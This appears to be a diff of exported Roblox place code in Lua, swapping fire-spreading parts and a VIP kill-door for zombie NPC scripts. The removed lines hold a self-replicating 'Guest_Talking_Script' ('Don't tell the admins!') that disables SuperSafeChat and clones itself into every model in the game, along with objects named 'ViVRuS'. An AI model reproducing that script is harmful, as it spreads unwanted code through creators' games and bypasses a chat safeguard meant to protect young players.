		local h = part.Parent:findFirstChild("Humanoid")
5396-
Fire398.Parent = Part395
5396+
			if h~=nil then
5397-
Fire398.Color = Color3.new(1, 0.745098, 0)
5397+
				if cantouch~=0 then
5398-
Fire398.Enabled = false
5398+
					if h.Parent.Name~=owner then
5399-
Fire398.Size = 30
5399+
						
5400-
Fire398.Heat = 25
5400+
						if h.Parent:findFirstChild("zarm")~=nil then return end
5401-
Fire398.SecondaryColor = Color3.new(1, 0, 0)
5401+
5402-
Fire398.size = 30
5402+
						cantouch=0
5403-
Script399.Parent = Fire398
5403+
5404
						local larm=h.Parent:findFirstChild("Left Arm")
5405-
function Spread(part)
5405+
						local rarm=h.Parent:findFirstChild("Right Arm")
5406-
	check = part:findFirstChild("Fire")
5406+
						
5407-
		if check == nil then 
5407+
						if larm~=nil then
5408-
	script.Parent:Clone().Parent = part
5408+
							larm:remove()
5409-
	
5409+
						end
5410-
		elseif check ~= nil then
5410+
						if rarm~=nil then
5411-
	check.Size = check.Size + 1
5411+
							rarm:remove()
5412-
	check.Heat = check.Heat  +1
5412+
						end
5413
						local zee=script.Parent.Parent:findFirstChild("zarm")
5414
						if zee~=nil then
5415
							local zlarm=zee:clone()
5416
							local zrarm=zee:clone()
5417-
script.Parent.Parent.Touched:connect(Spread)
5417+
							if zlarm~=nil then
5418
5419
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
5420
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
5421-
Part400.Parent = Model354
5421+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
5422-
Part400.CFrame = CFrame.new(176.901611, 16.422411, 204.3125, 1, 0, 0, 0, 1, 0, 0, 0, 1)
5422+
								zlarm.Parent=h.Parent
5423-
Part400.Position = Vector3.new(176.901611, 16.422411, 204.3125)
5423+
								zrarm.Parent=h.Parent
5424-
Part400.Color = Color3.new(0.972549, 0.972549, 0.972549)
5424+
								zlarm:makeJoints()
5425-
Part400.Size = Vector3.new(1, 0.400000006, 1)
5425+
								zrarm:makeJoints()
5426-
Part400.Anchored = true
5426+
								zlarm.Anchored=false
5427-
Part400.BottomSurface = Enum.SurfaceType.Smooth
5427+
								zrarm.Anchored=false
5428-
Part400.BrickColor = BrickColor.new("Institutional white")
5428+
								wait(0.1)
5429
								h.Parent.Head.Color=zee.Color
5430-
Part400.brickColor = BrickColor.new("Institutional white")
5430+
							else print("no zee"); return end
5431-
Part400.FormFactor = Enum.FormFactor.Plate
5431+
						end
5432-
Part400.formFactor = Enum.FormFactor.Plate
5432+
						wait(1)
5433-
SpecialMesh401.Parent = Part400
5433+
						cantouch=1
5434-
SpecialMesh401.Scale = Vector3.new(0.800000012, 3, 0.800000012)
5434+
					end
5435-
SpecialMesh401.MeshType = Enum.MeshType.Sphere
5435+
				end
5436-
BodyForce402.Parent = Part400
5436+
5437-
BodyForce402.Force = Vector3.new(0, 72, 0)
5437+
5438-
BodyForce402.force = Vector3.new(0, 72, 0)
5438+
5439-
Fire403.Parent = Part400
5439+
5440-
Fire403.Color = Color3.new(1, 0.745098, 0)
5440+
5441-
Fire403.Enabled = false
5441+
5442-
Fire403.Size = 30
5442+
Part313.Name = "zarm"
5443-
Fire403.Heat = 25
5443+
Part313.Parent = Model303
5444-
Fire403.SecondaryColor = Color3.new(1, 0, 0)
5444+
Part313.CFrame = CFrame.new(182.086487, 5.09696293, 222.008423, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
5445-
Fire403.size = 30
5445+
Part313.Orientation = Vector3.new(0, 180, 0)
5446-
Script404.Parent = Fire403
5446+
Part313.Position = Vector3.new(182.086487, 5.09696293, 222.008423)
5447-
table.insert(cors,sandbox(Script404,function()
5447+
Part313.Rotation = Vector3.new(-180, 0, -180)
5448-
function Spread(part)
5448+
Part313.Color = Color3.new(0.631373, 0.768628, 0.54902)
5449-
	check = part:findFirstChild("Fire")
5449+
Part313.Velocity = Vector3.new(3.59789445e-20, 0.00686328812, 3.65994592e-20)
5450-
		if check == nil then 
5450+
Part313.Size = Vector3.new(2, 1, 1)
5451-
	script.Parent:Clone().Parent = part
5451+
Part313.BottomSurface = Enum.SurfaceType.Smooth
5452-
	
5452+
Part313.BrickColor = BrickColor.new("Medium green")
5453-
		elseif check ~= nil then
5453+
Part313.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5454-
	check.Size = check.Size + 1
5454+
Part313.TopSurface = Enum.SurfaceType.Smooth
5455-
	check.Heat = check.Heat  +1
5455+
Part313.brickColor = BrickColor.new("Medium green")
5456
Part313.FormFactor = Enum.FormFactor.Symmetric
5457
Part313.formFactor = Enum.FormFactor.Symmetric
5458
Script314.Parent = Part313
5459
table.insert(cors,sandbox(Script314,function()
5460-
script.Parent.Parent.Touched:connect(Spread)
5460+
wait(1)
5461
owner=script.Parent.Parent.Name
5462
5463
function onTouched(part)
5464-
Part405.Name = "Middle"
5464+
	if part.Parent ~= nil then
5465-
Part405.Parent = Model354
5465+
		local h = part.Parent:findFirstChild("Humanoid")
5466-
Part405.CFrame = CFrame.new(177.914063, 15.878974, 203.362549, 1, 0, 0, 0, 1, 0, 0, 0, 1)
5466+
			if h~=nil then
5467-
Part405.Position = Vector3.new(177.914063, 15.878974, 203.362549)
5467+
				if cantouch~=0 then
5468-
Part405.Color = Color3.new(0.388235, 0.372549, 0.384314)
5468+
					if h.Parent.Name~=owner then
5469-
Part405.Transparency = 1
5469+
						
5470-
Part405.Size = Vector3.new(2, 2, 1)
5470+
						if h.Parent:findFirstChild("zarm")~=nil then return end
5471-
Part405.Anchored = true
5471+
5472-
Part405.BottomSurface = Enum.SurfaceType.Smooth
5472+
						cantouch=0
5473-
Part405.BrickColor = BrickColor.new("Dark stone grey")
5473+
5474-
Part405.Reflectance = 0.10000000149012
5474+
						local larm=h.Parent:findFirstChild("Left Arm")
5475-
Part405.TopSurface = Enum.SurfaceType.Smooth
5475+
						local rarm=h.Parent:findFirstChild("Right Arm")
5476-
Part405.brickColor = BrickColor.new("Dark stone grey")
5476+
						
5477-
Part405.FormFactor = Enum.FormFactor.Symmetric
5477+
						if larm~=nil then
5478-
Part405.formFactor = Enum.FormFactor.Symmetric
5478+
							larm:remove()
5479-
BodyForce406.Parent = Part405
5479+
						end
5480-
BodyForce406.Force = Vector3.new(0, 720, 0)
5480+
						if rarm~=nil then
5481-
BodyForce406.force = Vector3.new(0, 720, 0)
5481+
							rarm:remove()
5482-
Fire407.Parent = Part405
5482+
						end
5483-
Fire407.Color = Color3.new(1, 0.745098, 0)
5483+
						local zee=script.Parent.Parent:findFirstChild("zarm")
5484-
Fire407.Enabled = false
5484+
						if zee~=nil then
5485-
Fire407.Size = 30
5485+
							local zlarm=zee:clone()
5486-
Fire407.Heat = 25
5486+
							local zrarm=zee:clone()
5487-
Fire407.SecondaryColor = Color3.new(1, 0, 0)
5487+
							if zlarm~=nil then
5488-
Fire407.size = 30
5488+
5489-
Script408.Parent = Fire407
5489+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
5490-
table.insert(cors,sandbox(Script408,function()
5490+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
5491-
function Spread(part)
5491+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
5492-
	check = part:findFirstChild("Fire")
5492+
								zlarm.Parent=h.Parent
5493-
		if check == nil then 
5493+
								zrarm.Parent=h.Parent
5494-
	script.Parent:Clone().Parent = part
5494+
								zlarm:makeJoints()
5495-
	
5495+
								zrarm:makeJoints()
5496-
		elseif check ~= nil then
5496+
								zlarm.Anchored=false
5497-
	check.Size = check.Size + 1
5497+
								zrarm.Anchored=false
5498-
	check.Heat = check.Heat  +1
5498+
								wait(0.1)
5499
								h.Parent.Head.Color=zee.Color
5500
							else print("no zee"); return end
5501
						end
5502
						wait(1)
5503-
script.Parent.Parent.Touched:connect(Spread)
5503+
						cantouch=1
5504
					end
5505
				end
5506
			end
5507-
Script409.Name = "Guest_Talking_Script"
5507+
5508-
Script409.Parent = Model354
5508+
5509-
table.insert(cors,sandbox(Script409,function()
5509+
5510-
--Farvei's totally awesome script that makes Guests talk
5510+
5511-
--Please give credit
5511+
5512-
--Don't tell the admins!
5512+
ObjectValue315.Name = "IsNZ"
5513-
--Unnote the vaccine if you'd like to remove all copies of this script in your place
5513+
ObjectValue315.Parent = Model303
5514-
if (script.Parent == workspace) then
5514+
IntValue316.Name = "Mode"
5515-
	function checkForAndSwitch(player)
5515+
IntValue316.Parent = Model303
5516-
		if (player.SuperSafeChat == true) then
5516+
Script317.Parent = Model303
5517-
			player.SuperSafeChat = false;
5517+
table.insert(cors,sandbox(Script317,function()
5518-
			wait(5);
5518+
local larm = script.Parent:FindFirstChild("Left Arm")
5519-
			local m = Instance.new("Message");
5519+
local rarm = script.Parent:FindFirstChild("Right Arm")
5520-
			m.Text = "Hey People! Its elomoto1236.";
5520+
5521-
			m.Parent = player;
5521+
function findNearestTorso(pos)
5522-
			wait(5);
5522+
	local list = game.Workspace:children()
5523-
			m.Text = "Just hit the /, and than type in your message..";
5523+
	local torso = nil
5524-
			wait(5);
5524+
	local dist = 1000
5525-
			m:Remove();
5525+
	local temp = nil
5526-
			m = nil;
5526+
	local human = nil
5527
	local temp2 = nil
5528-
		player = nil;
5528+
	for x = 1, #list do
5529-
		collectgarbage("collect");
5529+
		temp2 = list[x]
5530
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
5531
			temp = temp2:findFirstChild("Right Arm")
5532-
	function onChildAddedToPlayers(obj)
5532+
			human = temp2:findFirstChild("Humanoid")
5533-
		if (obj.className == "Player") then
5533+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
5534-
			checkForAndSwitch(obj);
5534+
				if (temp.Position - pos).magnitude < dist then
5535-
			local m = Instance.new("Message");
5535+
					torso = temp
5536-
			m.Text = "elomoto1236 here. Guests are welcome to talk here.";
5536+
					dist = (temp.Position - pos).magnitude
5537-
			m.Parent = obj;
5537+
				end
5538-
			wait(5);
5538+
5539-
			m:Remove();
5539+
5540-
			m = nil;
5540+
5541
	return torso
5542-
		obj = nil;
5542+
5543-
		collectgarbage("collect");
5543+
5544
5545
5546-
	function onChildAddedToWorkspace(obj)
5546+
5547-
		if (obj.className == "Model") then
5547+
5548-
			if (game.Players:playerFromCharacter(obj) ~= nil) then
5548+
	wait(math.random(1,5))
5549-
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
5549+
	local target = findNearestTorso(script.Parent.Torso.Position)
5550
	if target ~= nil then
5551
		script.Parent.Humanoid:MoveTo(target.Position, target)
5552-
		obj = nil;
5552+
5553-
		collectgarbage("collect");
5553+
5554
end
5555
5556-
	function findLowestLevel(obj)
5556+
5557-
		local c = obj:GetChildren();
5557+
Script318.Name = "Health"
5558-
		local lowestLevel = true;
5558+
Script318.Parent = Model303
5559
table.insert(cors,sandbox(Script318,function()
5560-
		for i, v in pairs(c) do
5560+
function waitForChild(parent, childName)
5561-
			if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
5561+
	while true do
5562-
				lowestLevel = false;
5562+
		local child = parent:findFirstChild(childName)
5563-
				wait();
5563+
		if child then
5564-
				findLowestLevel(v);
5564+
5565
		end
5566
		parent.ChildAdded:wait()
5567
	end
5568-
		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
5568+
5569-
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
5569+
5570-
				local s = script:Clone();
5570+
-- declarations
5571-
				s.Parent = obj;
5571+
5572
local Figure = script.Parent
5573
local Head = waitForChild(Figure, "Head")
5574
local Humanoid = waitForChild(Figure, "Humanoid")
5575
Humanoid.Health=500
5576-
	findLowestLevel(game);
5576+
-- regeneration
5577
while true do
5578-
	game.Players.ChildAdded:connect(onChildAddedToPlayers);
5578+
	local s = wait(4)
5579-
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
5579+
	local health = Humanoid.Health
5580-
else
5580+
	if health > 0 and health < Humanoid.MaxHealth then
5581-
	local findScript = workspace:FindFirstChild(script.Name);
5581+
		health = health + 0.08 * s * Humanoid.MaxHealth
5582
		if health * 1.05 < Humanoid.MaxHealth then
5583-
	if (findScript == nil) then
5583+
			Humanoid.Health = health
5584-
		local s = script:Clone();
5584+
		else
5585-
		s.Parent = workspace;
5585+
			Humanoid.Health = Humanoid.MaxHealth
5586
		end
5587
	end
5588
end
5589-
--[[function findAllCopies(obj)
5589+
5590-
	local c = obj:GetChildren();
5590+
5591
Script319.Name = "Respawn"
5592-
	for i, v in pairs(c) do
5592+
Script319.Parent = Model303
5593-
		if (v.Name == script.Name and v.className == "Script" and v ~= script) then
5593+
5594-
			v.Parent = nil;
5594+
name="Humanoid"
5595-
		elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
5595+
5596-
			findAllCopies(v);
5596+
robo=script.Parent:clone()
5597
5598
while true do
5599
	wait(1)
5600
	if script.Parent.Humanoid.Health<1 then
5601-
findAllCopies(game);
5601+
		robot=robo:clone()
5602
		robot.Parent=script.Parent.Parent
5603-
script.Parent = nil;]]
5603+
		robot:makeJoints()
5604
		script.Parent:remove()
5605-
RotateP410.Name = "cptrick"
5605+
5606-
RotateP410.Parent = Script409
5606+
5607-
RotateP411.Name = "stanley12345678910"
5607+
5608-
RotateP411.Parent = Script409
5608+
5609-
RotateP412.Name = "cahrlie84"
5609+
5610-
RotateP412.Parent = Script409
5610+
5611-
RotateP413.Name = "charlie84"
5611+
5612-
RotateP413.Parent = Script409
5612+
Part320.Name = "Spawn Location"
5613-
RotateP414.Name = "al2tair"
5613+
Part320.Parent = Model302
5614-
RotateP414.Parent = Script409
5614+
Part320.CFrame = CFrame.new(182.091461, 0.600017011, 223.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
5615-
RotateP415.Name = "Hello...I �m Your New Lord Lolz"
5615+
Part320.Orientation = Vector3.new(0, 180, 0)
5616-
RotateP415.Parent = Model332
5616+
Part320.Position = Vector3.new(182.091461, 0.600017011, 223.48645)
5617-
RotateP415.BaseAngle = 0.25
5617+
Part320.Rotation = Vector3.new(-180, 0, -180)
5618-
RotateP416.Name = "Hello...I �m Your New Lord Lolz"
5618+
Part320.Color = Color3.new(0.631373, 0.768628, 0.54902)
5619-
RotateP416.Parent = Model332
5619+
Part320.Size = Vector3.new(6, 1.20000005, 6)
5620-
RotateP416.BaseAngle = 0.25
5620+
Part320.BottomSurface = Enum.SurfaceType.Weld
5621-
RotateP417.Name = "Hello...I �m Your New Lord Lolz"
5621+
Part320.BrickColor = BrickColor.new("Medium green")
5622-
RotateP417.Parent = Model332
5622+
Part320.TopSurface = Enum.SurfaceType.Smooth
5623-
RotateP417.BaseAngle = 0.25
5623+
Part320.brickColor = BrickColor.new("Medium green")
5624-
RotateP418.Name = "Hello...I �m Your New Lord Lolz"
5624+
Decal321.Parent = Part320
5625-
RotateP418.Parent = Model332
5625+
Decal321.Texture = "http://www.roblox.com/asset/?id=34541722"
5626-
RotateP418.BaseAngle = 0.25
5626+
Decal321.Face = Enum.NormalId.Top
5627-
RotateP419.Name = "Hello...I �m Your New Lord Lolz"
5627+
Model322.Parent = Model201
5628-
RotateP419.Parent = Model332
5628+
Model323.Name = "Zombie"
5629-
RotateP419.BaseAngle = 0.25
5629+
Model323.Parent = Model322
5630-
RotateP420.Name = "Hello...I �m Your New Lord Lolz"
5630+
Model323.PrimaryPart = Part324
5631-
RotateP420.Parent = Model332
5631+
Part324.Name = "Head"
5632-
RotateP420.BaseAngle = 0.25
5632+
Part324.Parent = Model323
5633-
RotateP421.Name = "Hello...I �m Your New Lord Lolz"
5633+
Part324.CFrame = CFrame.new(182.586487, 6.09696293, 241.508453, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
5634-
RotateP421.Parent = Model332
5634+
Part324.Orientation = Vector3.new(0, 90, 0)
5635-
RotateP421.BaseAngle = 0.25
5635+
Part324.Position = Vector3.new(182.586487, 6.09696293, 241.508453)
5636-
RotateP422.Name = "Hello...I �m Your New Lord Lolz"
5636+
Part324.Rotation = Vector3.new(0, 90, 0)
5637-
RotateP422.Parent = Model332
5637+
Part324.Color = Color3.new(0.631373, 0.768628, 0.54902)
5638-
RotateP422.BaseAngle = 0.25
5638+
Part324.Velocity = Vector3.new(3.64787943e-20, 0.00686328812, 3.64330182e-20)
5639-
RotateP423.Name = "Hello...I �m Your New Lord Lolz"
5639+
Part324.Size = Vector3.new(2, 1, 1)
5640-
RotateP423.Parent = Model332
5640+
Part324.BrickColor = BrickColor.new("Medium green")
5641-
RotateP423.BaseAngle = 0.25
5641+
Part324.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5642-
RotateP424.Name = "Hello...I �m Your New Lord Lolz"
5642+
Part324.TopSurface = Enum.SurfaceType.Smooth
5643-
RotateP424.Parent = Model332
5643+
Part324.brickColor = BrickColor.new("Medium green")
5644-
RotateP424.BaseAngle = 0.25
5644+
Part324.FormFactor = Enum.FormFactor.Symmetric
5645-
RotateP425.Name = "Hello...I �m Your New Lord Lolz"
5645+
Part324.formFactor = Enum.FormFactor.Symmetric
5646-
RotateP425.Parent = Model332
5646+
SpecialMesh325.Parent = Part324
5647-
RotateP425.BaseAngle = 0.25
5647+
SpecialMesh325.Scale = Vector3.new(1.25, 1.25, 1.25)
5648-
RotateP426.Name = "Hello...I �m Your New Lord Lolz"
5648+
Decal326.Name = "face"
5649-
RotateP426.Parent = Model332
5649+
Decal326.Parent = Part324
5650-
RotateP426.BaseAngle = 0.25
5650+
Part327.Name = "Torso"
5651-
RotateP427.Name = "Hello...I �m Your New Lord Lolz"
5651+
Part327.Parent = Model323
5652-
RotateP427.Parent = Model332
5652+
Part327.CFrame = CFrame.new(182.586487, 4.59696293, 241.508453, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
5653-
RotateP427.BaseAngle = 0.25
5653+
Part327.Orientation = Vector3.new(0, 90, 0)
5654-
RotateP428.Name = "Hello...I �m Your New Lord Lolz"
5654+
Part327.Position = Vector3.new(182.586487, 4.59696293, 241.508453)
5655-
RotateP428.Parent = Model332
5655+
Part327.Rotation = Vector3.new(0, 90, 0)
5656-
RotateP428.BaseAngle = 0.25
5656+
Part327.Color = Color3.new(0.411765, 0.25098, 0.156863)
5657-
RotateP429.Name = "Hello...I �m Your New Lord Lolz"
5657+
Part327.Velocity = Vector3.new(3.64798347e-20, 0.00686328812, 3.64324075e-20)
5658-
RotateP429.Parent = Model332
5658+
Part327.Size = Vector3.new(2, 2, 1)
5659-
RotateP429.BaseAngle = 0.25
5659+
Part327.BrickColor = BrickColor.new("Reddish brown")
5660-
RotateP430.Name = "Hello...I �m Your New Lord Lolz"
5660+
Part327.LeftParamA = 0
5661-
RotateP430.Parent = Model332
5661+
Part327.LeftParamB = 0
5662-
RotateP430.BaseAngle = 0.25
5662+
Part327.LeftSurface = Enum.SurfaceType.Weld
5663-
RotateP431.Name = "Hello...I �m Your New Lord Lolz"
5663+
Part327.RightParamA = 0
5664-
RotateP431.Parent = Model332
5664+
Part327.RightParamB = 0
5665-
RotateP431.BaseAngle = 0.25
5665+
Part327.RightSurface = Enum.SurfaceType.Weld
5666-
RotateP432.Name = "Hello...I �m Your New Lord Lolz"
5666+
Part327.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5667-
RotateP432.Parent = Model332
5667+
Part327.brickColor = BrickColor.new("Reddish brown")
5668-
RotateP432.BaseAngle = 0.25
5668+
Part327.FormFactor = Enum.FormFactor.Symmetric
5669-
RotateP433.Name = "Hello...I �m Your New Lord Lolz"
5669+
Part327.formFactor = Enum.FormFactor.Symmetric
5670-
RotateP433.Parent = Model332
5670+
Part328.Name = "Left Leg"
5671-
RotateP433.BaseAngle = 0.25
5671+
Part328.Parent = Model323
5672-
RotateP434.Name = "Hello...I �m Your New Lord Lolz"
5672+
Part328.CFrame = CFrame.new(182.586487, 2.59696293, 242.008453, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
5673-
RotateP434.Parent = Model332
5673+
Part328.Orientation = Vector3.new(0, 90, 0)
5674-
RotateP434.BaseAngle = 0.25
5674+
Part328.Position = Vector3.new(182.586487, 2.59696293, 242.008453)
5675-
RotateP435.Name = "Hello...I �m Your New Lord Lolz"
5675+
Part328.Rotation = Vector3.new(0, 90, 0)
5676-
RotateP435.Parent = Model332
5676+
Part328.Color = Color3.new(0.411765, 0.25098, 0.156863)
5677-
RotateP435.BaseAngle = 0.25
5677+
Part328.Velocity = Vector3.new(3.66480722e-20, 0.00686328812, 3.64315933e-20)
5678-
RotateP436.Name = "d��������������ng.........you got owned..."
5678+
Part328.Size = Vector3.new(1, 2, 1)
5679-
RotateP436.Parent = Model332
5679+
Part328.BottomSurface = Enum.SurfaceType.Smooth
5680-
RotateP436.BaseAngle = 0.25
5680+
Part328.BrickColor = BrickColor.new("Reddish brown")
5681-
RotateV437.Name = "ViVRuS"
5681+
Part328.CanCollide = false
5682-
RotateV437.Parent = Model332
5682+
Part328.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5683-
VelocityMotor438.Name = "ViVRuS"
5683+
Part328.brickColor = BrickColor.new("Reddish brown")
5684-
VelocityMotor438.Parent = RotateV437
5684+
Part328.FormFactor = Enum.FormFactor.Symmetric
5685-
RotateP439.Name = "LOLWUT!!?"
5685+
Part328.formFactor = Enum.FormFactor.Symmetric
5686-
RotateP439.Parent = Model332
5686+
Part329.Name = "Right Leg"
5687-
RotateP439.BaseAngle = 0.25
5687+
Part329.Parent = Model323
5688-
RotateP440.Name = "FIRE"
5688+
Part329.CFrame = CFrame.new(182.586487, 2.59696293, 241.008453, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
5689-
RotateP440.Parent = Model332
5689+
Part329.Orientation = Vector3.new(0, 90, 0)
5690-
Part441.Name = "Smooth Block Model"
5690+
Part329.Position = Vector3.new(182.586487, 2.59696293, 241.008453)
5691-
Part441.Parent = Model0
5691+
Part329.Rotation = Vector3.new(0, 90, 0)
5692-
Part441.CFrame = CFrame.new(185.5, 19.2000046, 205.5, -0, 0, 1, -0, 1, 0, -1, 0, 0)
5692+
Part329.Color = Color3.new(0.411765, 0.25098, 0.156863)
5693-
Part441.Orientation = Vector3.new(0, 90, 0)
5693+
Part329.Velocity = Vector3.new(3.6314376e-20, 0.00686328812, 3.64315933e-20)
5694-
Part441.Position = Vector3.new(185.5, 19.2000046, 205.5)
5694+
Part329.Size = Vector3.new(1, 2, 1)
5695-
Part441.Rotation = Vector3.new(0, 90, 0)
5695+
Part329.BottomSurface = Enum.SurfaceType.Smooth
5696-
Part441.Color = Color3.new(0.427451, 0.431373, 0.423529)
5696+
Part329.BrickColor = BrickColor.new("Reddish brown")
5697-
Part441.Size = Vector3.new(1, 9.60000038, 11)
5697+
Part329.CanCollide = false
5698-
Part441.Anchored = true
5698+
Part329.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5699-
Part441.BottomSurface = Enum.SurfaceType.Smooth
5699+
Part329.brickColor = BrickColor.new("Reddish brown")
5700-
Part441.BrickColor = BrickColor.new("Dark grey")
5700+
Part329.FormFactor = Enum.FormFactor.Symmetric
5701-
Part441.Reflectance = 0.5
5701+
Part329.formFactor = Enum.FormFactor.Symmetric
5702-
Part441.TopSurface = Enum.SurfaceType.Smooth
5702+
Humanoid330.Parent = Model323
5703-
Part441.brickColor = BrickColor.new("Dark grey")
5703+
Humanoid330.LeftLeg = Part328
5704-
Script442.Name = "Shirt Vip Door Script"
5704+
Humanoid330.NameOcclusion = Enum.NameOcclusion.NoOcclusion
5705-
Script442.Parent = Part441
5705+
Humanoid330.RightLeg = Part329
5706-
table.insert(cors,sandbox(Script442,function()
5706+
Humanoid330.Torso = Part327
5707-
print ("VIP Shirt Door Script Loaded")
5707+
Part331.Name = "zarm"
5708
Part331.Parent = Model323
5709-
-- list of account names allowed to go through the door.
5709+
Part331.CFrame = CFrame.new(182.086487, 5.09696293, 243.008453, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
5710-
permission = { "SONICTHEHEDGEHOGXX", "belial52" } -- This is how many people can still get through, so u don't have to change shirts. You can also have another friend here.
5710+
Part331.Orientation = Vector3.new(0, 180, 0)
5711
Part331.Position = Vector3.new(182.086487, 5.09696293, 243.008453)
5712-
-- TextureId of the VIP shirt.
5712+
Part331.Rotation = Vector3.new(-180, 0, -180)
5713-
texture = "http://www.roblox.com/asset/?id=27572919"-- Go to the wiki below this script to find out how to change the shirt. And paste the link in between the "" marks.
5713+
Part331.Color = Color3.new(0.631373, 0.768628, 0.54902)
5714-
texture2 = "http://www.roblox.com/asset/?id=16600419" 
5714+
Part331.Velocity = Vector3.new(3.69800334e-20, 0.00686328812, 3.65994592e-20)
5715
Part331.Size = Vector3.new(2, 1, 1)
5716-
function checkOkToLetIn(name) 
5716+
Part331.BottomSurface = Enum.SurfaceType.Smooth
5717-
	for i = 1,#permission do 
5717+
Part331.BrickColor = BrickColor.new("Medium green")
5718-
		-- convert strings to all upper case, otherwise we will let in 
5718+
Part331.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5719-
		-- "Username" but not "username" or "uSERNAME" 
5719+
Part331.TopSurface = Enum.SurfaceType.Smooth
5720-
		if (string.upper(name) == string.upper(permission[i])) then return true end 
5720+
Part331.brickColor = BrickColor.new("Medium green")
5721-
	end 
5721+
Part331.FormFactor = Enum.FormFactor.Symmetric
5722-
	return false 
5722+
Part331.formFactor = Enum.FormFactor.Symmetric
5723-
end 
5723+
Script332.Parent = Part331
5724
table.insert(cors,sandbox(Script332,function()
5725-
local Door = script.Parent
5725+
wait(1)
5726
owner=script.Parent.Parent.Name
5727-
function onTouched(hit) 
5727+
5728-
	print("Door Hit") 
5728+
function onTouched(part)
5729-
	local human = hit.Parent:findFirstChild("Humanoid") 
5729+
	if part.Parent ~= nil then
5730-
	if (human ~= nil ) then 
5730+
		local h = part.Parent:findFirstChild("Humanoid")
5731-
		if human.Parent.Torso.roblox.Texture == texture or human.Parent.Torso.roblox.Texture == texture2 then --the shirt 
5731+
			if h~=nil then
5732-
			Door.Transparency = 0.7 
5732+
				if cantouch~=0 then
5733-
			Door.CanCollide = false 
5733+
					if h.Parent.Name~=owner then
5734-
			wait(4) -- this is how long the door is open 
5734+
						
5735-
			Door.CanCollide = true 
5735+
						if h.Parent:findFirstChild("zarm")~=nil then return end
5736-
			Door.Transparency = 0 
5736+
5737-
			-- a human has touched this door! 
5737+
						cantouch=0
5738-
			print("Human touched door") 
5738+
5739-
			-- test the human's name against the permission list 
5739+
						local larm=h.Parent:findFirstChild("Left Arm")
5740-
		elseif (checkOkToLetIn(human.Parent.Name)) then 
5740+
						local rarm=h.Parent:findFirstChild("Right Arm")
5741-
			print("Human passed test") 
5741+
						
5742-
			Door.Transparency = 0.7
5742+
						if larm~=nil then
5743-
			Door.CanCollide = false 
5743+
							larm:remove()
5744-
			wait(4) -- this is how long the door is open
5744+
						end
5745-
			Door.CanCollide = true 
5745+
						if rarm~=nil then
5746-
			Door.Transparency = 0 
5746+
							rarm:remove()
5747-
		else human.Health = 0 -- delete this line of you want a non-killing VIP door 
5747+
						end
5748
						local zee=script.Parent.Parent:findFirstChild("zarm")
5749-
	end 
5749+
						if zee~=nil then
5750-
end 
5750+
							local zlarm=zee:clone()
5751
							local zrarm=zee:clone()
5752
							if zlarm~=nil then
5753
5754
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
5755-
Decal443.Parent = Part441
5755+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
5756-
Decal443.Texture = "http://www.roblox.com/asset/?id=16601528"
5756+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
5757-
Decal443.Face = Enum.NormalId.Right
5757+
								zlarm.Parent=h.Parent
5758-
Decal444.Parent = Part441
5758+
								zrarm.Parent=h.Parent
5759-
Decal444.Texture = "http://www.roblox.com/asset/?id=16601528"
5759+
								zlarm:makeJoints()
5760-
Decal444.Face = Enum.NormalId.Left
5760+
								zrarm:makeJoints()
5761-
Fire445.Parent = Part441
5761+
								zlarm.Anchored=false
5762-
Fire445.Color = Color3.new(1, 0.619608, 0)
5762+
								zrarm.Anchored=false
5763-
Fire445.Enabled = false
5763+
								wait(0.1)
5764-
Fire445.Size = 30
5764+
								h.Parent.Head.Color=zee.Color
5765-
Fire445.Heat = 25
5765+
							else print("no zee"); return end
5766-
Fire445.SecondaryColor = Color3.new(1, 0, 0)
5766+
						end
5767-
Fire445.size = 30
5767+
						wait(1)
5768-
Script446.Name = "Spread"
5768+
						cantouch=1
5769-
Script446.Parent = Fire445
5769+
					end
5770-
table.insert(cors,sandbox(Script446,function()
5770+
				end
5771-
function Spread(part)
5771+
5772-
	check = part:findFirstChild("Fire")
5772+
5773-
		if check == nil then 
5773+
5774-
	script.Parent:Clone().Parent = part
5774+
5775-
	
5775+
5776-
		elseif check ~= nil then
5776+
5777-
	check.Size = check.Size + 1
5777+
Part333.Name = "zarm"
5778-
